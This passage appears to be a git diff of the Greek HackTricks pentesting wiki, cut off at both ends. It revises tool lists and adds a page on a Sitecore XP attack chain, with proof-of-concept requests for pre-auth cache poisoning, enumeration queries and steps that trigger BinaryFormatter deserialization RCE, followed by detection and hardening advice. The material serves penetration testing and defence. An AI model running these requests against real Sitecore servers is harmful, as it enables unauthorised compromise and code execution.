wordlist τα ονόματα των φακέλων που βρέθηκαν).\ +Εργαλεία: -- **Dirb** / **Dirbuster** - Περιλαμβάνονται στο Kali, **παλιά** (και **αργά**) αλλά λειτουργικά. Επιτρέπουν auto-signed certificates και αναδρομική αναζήτηση. Πολύ πιο αργά σε σύγκριση με τις άλλες επιλογές. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει auto-signed certificates αλλά** επιτρέπει αναδρομική αναζήτηση. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Επιτρέπει auto-signed certificates, **δεν** έχει **αναδρομική** αναζήτηση. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Γρήγορο, υποστηρίζει αναδρομική αναζήτηση.** +- **Dirb** / **Dirbuster** - Περιλαμβάνονται στο Kali, **παλιά** (και **αργά**) αλλά λειτουργικά. Επιτρέπουν auto-signed certificates και recursive search. Πολύ αργά συγκριτικά με τις άλλες επιλογές. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει auto-signed certificates αλλά** υποστηρίζει recursive search. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Επιτρέπει auto-signed certificates, δεν έχει **recursive** search. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που, δεδομένης της λίστας των βρεθέντων URLs, θα διαγράψει "duplicated" URLs. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension για δημιουργία λίστας directories από το burp history διαφορετικών σελίδων. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με duplicated λειτουργικότητες (βασισμένο σε js imports). -- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί wapalyzer για να ανιχνεύσει τις τεχνολογίες που χρησιμοποιούνται και να επιλέξει τα wordlists που θα χρησιμοποιηθούν. +- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που, δοθέντος της λίστας των βρεθέντων URLs, θα διαγράψει "duplicated" URLs. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension για να δημιουργήσει λίστα directories από το burp history διαφορετικών σελίδων. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με διπλότυπες λειτουργικότητες (με βάση js imports). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί wapalyzer για να ανιχνεύσει τις τεχνολογίες που χρησιμοποιούνται και να επιλέξει τις wordlists που θα χρησιμοποιηθούν. -**Recommended dictionaries:** +Συνιστώμενα dictionaries: - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -268,41 +269,41 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Σημειώστε ότι κάθε φορά που ένα νέο directory ανακαλύπτεται κατά το brute-forcing ή το spidering, θα πρέπει να γίνεται Brute-Forced._ +_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας καινούριος κατάλογος κατά το brute-forcing ή το spidering, θα πρέπει να γίνεται Brute-Forced._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε broken links μέσα σε HTMLs που μπορεί να είναι επιρρεπή σε takeovers. -- **File Backups**: Μόλις βρείτε όλα τα αρχεία, ψάξτε για backups όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές ονοματοδοσίας για backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, δοκιμάστε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο web αρχείο. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε broken links μέσα σε HTML που μπορεί να είναι ευάλωτα σε takeover. +- **File Backups**: Μόλις βρείτε όλα τα αρχεία, ψάξτε για backups όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Συνηθισμένες παραλλαγές ονοματοδοσίας backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε τα εργαλεία [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφά parameters. Αν μπορείτε, δοκιμάστε να ψάξετε** κρυφά parameters σε κάθε εκτελέσιμο web αρχείο. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Ελέγξτε τα comments όλων των αρχείων, μπορεί να βρείτε **διαπιστευτήρια** ή **κρυφές λειτουργικότητες**. -- Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύψετε** **πληροφορίες** μέσα σε comments δεξιά της σελίδας (χρησιμοποιώντας **εκατοντάδες** spaces ώστε να μην φαίνεται το δεδομένο αν ανοίξετε τον source με τον browser). Άλλη πιθανότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορία** σε ένα comment στο **bottom** της σελίδας. -- **API keys**: Αν βρείτε κάποιο API key υπάρχει ένας οδηγός που δείχνει πώς να χρησιμοποιήσετε API keys από διαφορετικές πλατφόρμες: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Αν βρείτε κάποιο API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες apis μπορεί να προσπελάσει το key. -- **S3 Buckets**: Κατά τη διάρκεια του spidering κοιτάξτε αν κάποιο **subdomain** ή κάποιο **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τα **permissions** του bucket](buckets/index.html). +- **Comments:** Ελέγξτε τα comments όλων των αρχείων — μπορεί να βρείτε **credentials** ή **κρυφή λειτουργικότητα**. +- Αν παίζετε **CTF**, ένα "συνηθισμένο" κόλπο είναι να **κρύψετε** **πληροφορία** μέσα σε comments στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **spaces** ώστε να μην βλέπετε τα δεδομένα όταν ανοίγετε τον source με τον browser). Άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλά νέα lines** και να **κρύψετε πληροφορίες** σε ένα comment στο **κάτω** μέρος της σελίδας. +- **API keys**: Αν **βρείτε κάποιο API key** υπάρχει οδηγός που δείχνει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες apis μπορεί να προσπελάσει το key. +- **S3 Buckets**: Κατά την spidering ελέγξτε αν κάποιο **subdomain** ή κάποιο **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτήν την περίπτωση, [**ελέγξτε** τα **permissions** του bucket](buckets/index.html). ### Special findings -Κατά την εκτέλεση του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **σημειώσετε**. +Κατά τη διάρκεια του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **αντικείμενα** που πρέπει να προσέξετε. **Interesting files** -- Ψάξτε για **links** προς άλλα αρχεία μέσα στα **CSS** αρχεία. -- [If you find a _**.git**_ file some information can be extracted](git.md) -- Αν βρείτε ένα _**.env**_ μπορεί να βρείτε πληροφορίες όπως api keys, dbs passwords και άλλες ευαίσθητες πληροφορίες. -- Αν βρείτε **API endpoints** θα πρέπει να [τους δοκιμάσετε επίσης](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανώς "θα μοιάζουν" με αρχεία. -- **JS files**: Στην ενότητα spidering αναφέρθηκαν πολλά εργαλεία που μπορούν να εξάγουν paths από JS αρχεία. Επίσης, είναι χρήσιμο να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε κάποιες περιπτώσεις μια αλλαγή μπορεί να υποδηλώνει ότι εισήχθη μια ευπάθεια στον κώδικα. Μπορείτε για παράδειγμα να χρησιμοποιήσετε [**JSMon**](https://github.com/robre/jsmon)**.** +- Ψάξτε για **links** σε άλλα αρχεία μέσα σε **CSS** αρχεία. +- [Αν βρείτε ένα _**.git**_ αρχείο, μπορούν να εξαχθούν πληροφορίες](git.md) +- Αν βρείτε ένα _**.env**_ μπορεί να βρεθούν πληροφορίες όπως api keys, db passwords και άλλες πληροφορίες. +- Αν βρείτε **API endpoints** θα πρέπει να [τα δοκιμάσετε κι αυτά](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα "θα φαίνονται" σαν αρχεία. +- **JS files**: Στην ενότητα spidering αναφέρθηκαν αρκετά εργαλεία που μπορούν να εξάγουν paths από JS αρχεία. Επίσης, είναι ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε κάποιες περιπτώσεις μια αλλαγή μπορεί να υποδηλώνει ότι έχει εισαχθεί μια νέα ευπάθεια στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.** - Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) -- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Σε πολλές περιπτώσεις θα χρειαστεί να **καταλάβετε τα regular expressions** που χρησιμοποιούνται. Αυτό θα σας φανεί χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex) -- Μπορείτε επίσης να **παρακολουθείτε** τα αρχεία όπου ανιχνεύτηκαν φόρμες, καθώς μια αλλαγή στις παραμέτρους ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια νέα πιθανή ευπάθεια. +- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` +- Σε αρκετές περιπτώσεις θα χρειαστεί να **κατανοήσετε τις regular expressions** που χρησιμοποιούνται. Αυτό θα σας φανεί χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex) +- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύτηκαν φόρμες**, καθώς μια αλλαγή σε παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια νέα πιθανή ευάλωτη λειτουργικότητα. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,21 +314,21 @@ _Σημειώστε ότι κάθε φορά που ένα νέο directory αν **502 Proxy Error** -Αν κάποια σελίδα **απαντήσει** με αυτόν τον **κωδικό**, πιθανότατα είναι **κακώς ρυθμισμένος proxy**. **Αν στείλετε ένα HTTP request όπως: `GET https://google.com HTTP/1.1`** (με το host header και άλλα συνηθισμένα headers), ο **proxy** θα προσπαθήσει να **προσπελάσει** _**google.com**_ **και θα έχετε βρει ένα** SSRF. +Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, πιθανώς είναι **κακώς ρυθμισμένος proxy**. **Αν στείλετε ένα HTTP request όπως: `GET https://google.com HTTP/1.1`** (με το Host header και άλλα κοινά headers), ο **proxy** θα προσπαθήσει να **προσπελάσει** το _**google.com**_ **και θα έχετε βρει ένα** SSRF. **NTLM Authentication - Info disclosure** -Αν ο server που ζητά authentication είναι **Windows** ή βρείτε ένα login που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε **information disclosure**.\ -**Στείλτε** το **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που δουλεύει το **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στο header "WWW-Authenticate".\ -Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_". +Αν ο server που ζητάει authentication είναι **Windows** ή βρείτε μια login σελίδα που ζητάει τα **credentials** σας (και ζητάει **domain** **name**), μπορείτε να προκαλέσετε **information disclosure**.\ +**Στείλτε** το **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που δουλεύει η **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στο header "WWW-Authenticate".\ +Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το nmap plugin "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Είναι πιθανό να **τοποθετήσετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει το redirection) αλλά κάτι θα μπορούσε να είναι **κρυμμένο** μέσα εκεί. +Είναι πιθανό να **τοποθετήσετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι μπορεί να είναι **κρυμμένο** εκεί μέσα. ### Web Vulnerabilities Checking -Τώρα που έχει γίνει μια ολοκληρωμένη enumeration της web εφαρμογής, είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε το checklist εδώ: +Τώρα που έχει γίνει μια ολοκληρωμένη απογραφή της web εφαρμογής, είναι ώρα να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε το checklist εδώ: {{#ref}} @@ -342,7 +343,7 @@ _Σημειώστε ότι κάθε φορά που ένα νέο directory αν ### Monitor Pages for changes -Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για αλλαγές που ενδέχεται να εισαγάγουν ευπάθειες. +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για τροποποιήσεις που μπορεί να εισάγουν ευπάθειες. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md new file mode 100644 index 000000000..09865c3e5 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md @@ -0,0 +1,193 @@ +# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE + +{{#include ../../../banners/hacktricks-training.md}} + +Αυτή η σελίδα συνοψίζει μια πρακτική αλυσίδα επίθεσης κατά του Sitecore XP 10.4.1 που εκκινεί από έναν pre‑auth XAML handler προς HTML cache poisoning και, μέσω μιας αυθεντικοποιημένης ροής UI, οδηγεί σε RCE μέσω BinaryFormatter deserialization. Οι τεχνικές γενικεύονται σε παρόμοιες εκδόσεις/συστατικά του Sitecore και παρέχουν συγκεκριμένα primitives για δοκιμές, ανίχνευση και σκληρυνση. + +- Προϊόν που εξετάστηκε: Sitecore XP 10.4.1 rev. 011628 +- Διορθώθηκε σε: KB1003667, KB1003734 (Ιούνιος/Ιούλιος 2025) + +Δείτε επίσης: + +{{#ref}} +../../../pentesting-web/cache-deception/README.md +{{#endref}} + +{{#ref}} +../../../pentesting-web/deserialization/README.md +{{#endref}} + +## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write + +Το σημείο εισόδου είναι ο pre‑auth XAML handler που δηλώνεται στο web.config: +```xml + +``` +Πρόσβαση μέσω: +``` +GET /-/xaml/Sitecore.Shell.Xaml.WebControl +``` +Το δέντρο ελέγχων περιλαμβάνει το AjaxScriptManager, το οποίο, σε αιτήματα συμβάντων, διαβάζει attacker‑controlled πεδία και ανακλαστικά καλεί μεθόδους σε στοχευμένους ελέγχους: +```csharp +// AjaxScriptManager.OnPreRender +string clientId = page.Request.Form["__SOURCE"]; // target control +string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2") +... +Dispatch(clientId, text); + +// eventually → DispatchMethod(control, parameters) +MethodInfo m = ReflectionUtil.GetMethodFiltered(this, e.Method, e.Parameters, true); +if (m != null) m.Invoke(this, e.Parameters); + +// Alternate branch for XML-based controls +if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} +``` +Βασική παρατήρηση: η σελίδα XAML περιλαμβάνει ένα XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl κληρονομεί από το Sitecore.Web.UI.WebControl (μια κλάση Sitecore), η οποία περνάει την ReflectionUtil.Filter allow‑list (Sitecore.*), ξεκλειδώνοντας μεθόδους στο Sitecore WebControl. + +Μαγική μέθοδος για poisoning: +```csharp +// Sitecore.Web.UI.WebControl +protected virtual void AddToCache(string cacheKey, string html) { +HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site); +if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); +} +``` +Επειδή μπορούμε να στοχεύσουμε το xmlcontrol:GlobalHeader και να καλέσουμε μεθόδους του Sitecore.Web.UI.WebControl με το όνομά τους, αποκτούμε ένα pre‑auth arbitrary HtmlCache write primitive. + +### Αίτημα PoC (CVE-2025-53693) +``` +POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2 +Host: target +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 +``` +Σημειώσεις: +- __SOURCE είναι το clientID του xmlcontrol:GlobalHeader μέσα στο Sitecore.Shell.Xaml.WebControl (συνήθως σταθερό όπως ctl00_ctl00_ctl05_ctl03 καθώς προέρχεται από static XAML). +- __PARAMETERS μορφή είναι Method("arg1","arg2"). + +## Τι να poison: Cache key construction + +Τυπική HtmlCache key construction που χρησιμοποιείται από τα Sitecore controls: +```csharp +public virtual string GetCacheKey(){ +SiteContext site = Sitecore.Context.Site; +if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){ +string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey; +if (key.Length > 0){ +string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant(); +if (this.VaryByData) k += ResolveDataKeyPart(); +if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName(); +if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn; +if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName(); +if (this.VaryByParm) k += "_#parm:" + this.Parameters; +if (this.VaryByQueryString && site?.Request != null) +k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&"); +if (this.ClearOnIndexUpdate) k += "_#index"; +return k; +} +} +return string.Empty; +} +``` +Παράδειγμα targeted poisoning για ένα γνωστό sublayout: +``` +__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","…attacker HTML…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 +``` +## Απαρίθμηση cacheable items και “vary by” διαστάσεων + +Εάν το ItemService έχει (λανθασμένα) εκτεθεί ανώνυμα, μπορείτε να απαριθμήσετε cacheable components για να εξαγάγετε τα ακριβή keys. + +Γρήγορη δοκιμή: +``` +GET /sitecore/api/ssc/item +// 404 Sitecore error body → exposed (anonymous) +// 403 → blocked/auth required +``` +Λίστα αντικειμένων που μπορούν να cache και flags: +``` +GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 +``` +Αναζητήστε πεδία όπως Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Τα ονόματα συσκευών μπορούν να απαριθμηθούν μέσω: +``` +GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 +``` +### Side‑channel enumeration under restricted identities (CVE-2025-53694) + +Ακόμα και όταν το ItemService υποδύεται έναν περιορισμένο λογαριασμό (π.χ., ServicesAPI) και επιστρέφει έναν κενό πίνακα Results, το TotalCount μπορεί ακόμη να αντικατοπτρίζει pre‑ACL Solr hits. Μπορείτε να brute‑force item groups/ids με wildcards και να παρακολουθήσετε το TotalCount να συγκλίνει για να χαρτογραφήσετε το εσωτερικό περιεχόμενο και τις συσκευές: +``` +GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true +→ "TotalCount": 3 +GET /...term=%2B_templatename:Device;%2B_group:aa* +→ "TotalCount": 2 +GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* +→ narrow to a specific item +``` +## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691) + +Sink: +```csharp +// Sitecore.Convert +byte[] b = Convert.FromBase64String(data); +return new BinaryFormatter().Deserialize(new MemoryStream(b)); +``` +Προσβάσιμο μέσω του pipeline step convertToRuntimeHtml ConvertWebControls, το οποίο αναζητά ένα στοιχείο με id {iframeId}_inner και το base64 αποκωδικοποιεί + αποσειριοποιεί, και στη συνέχεια εισάγει το προκύπτον string στο HTML: +```csharp +HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); +string text2 = inner?.GetAttributeValue("value", ""); +if (text2.Length > 0) +htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); +``` +Ενεργοποίηση (επαληθευμένος, δικαιώματα Content Editor). Ο διάλογος FixHtml καλεί convertToRuntimeHtml. Από άκρο σε άκρο χωρίς κλικ στο UI: +``` +// 1) Start Content Editor +GET /sitecore/shell/Applications/Content%20Editor.aspx + +// 2) Load malicious HTML into EditHtml session (XAML event) +POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= + + + + + +// 3) Server returns a session handle (hdl) for FixHtml +{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."} + +// 4) Visit FixHtml to trigger ConvertWebControls → deserialization +GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... +``` +Δημιουργία gadget: χρησιμοποιήστε ysoserial.net / YSoNet με BinaryFormatter για να παράγετε ένα base64 payload που επιστρέφει ένα string. Τα περιεχόμενα του string γράφονται στο HTML από ConvertWebControls μετά την εκτέλεση των παρενεργειών της αποσειριοποίησης. + +{{#ref}} +../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +{{#endref}} + +## Πλήρης αλυσίδα + +1) Pre‑auth attacker δηλητηριάζει το HtmlCache με αυθαίρετο HTML ανακλαστικά καλώντας WebControl.AddToCache μέσω XAML AjaxScriptManager. +2) Το μολυσμένο HTML παρέχει JavaScript που ωθεί έναν authenticated Content Editor χρήστη στη ροή FixHtml. +3) Η σελίδα FixHtml ενεργοποιεί convertToRuntimeHtml → ConvertWebControls, το οποίο αποσειριοποιεί attacker‑controlled base64 μέσω BinaryFormatter → RCE υπό την ταυτότητα του Sitecore app pool. + +## Ανίχνευση + +- Pre‑auth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`. +- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`. +- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields. + +## Σκληροποίηση + +- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit `/-/xaml/`. +- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows. +- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`‑based side channels. +- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning. + +## References + +- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) +- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) +- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 836a55566..195e7b1ea 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -2,129 +2,133 @@ {{#include ../../banners/hacktricks-training.md}} -## The difference +## Η διαφορά -> **Ποια είναι η διαφορά μεταξύ της δηλητηρίασης της μνήμης cache και της απάτης μνήμης cache;** +> **Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;** > -> - Στη **δηλητηρίαση της μνήμης cache**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στη μνήμη cache, και αυτό το περιεχόμενο σερβίρεται από τη μνήμη cache σε άλλους χρήστες της εφαρμογής. -> - Στην **απάτη μνήμης cache**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στη μνήμη cache, και ο επιτιθέμενος στη συνέχεια ανακτά αυτό το περιεχόμενο από τη μνήμη cache. +> - Στο **web cache poisoning**, ο επιτιθέμενος προκαλεί στην εφαρμογή να αποθηκεύσει κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο σερβίρεται από την cache σε άλλους χρήστες της εφαρμογής. +> - Στο **web 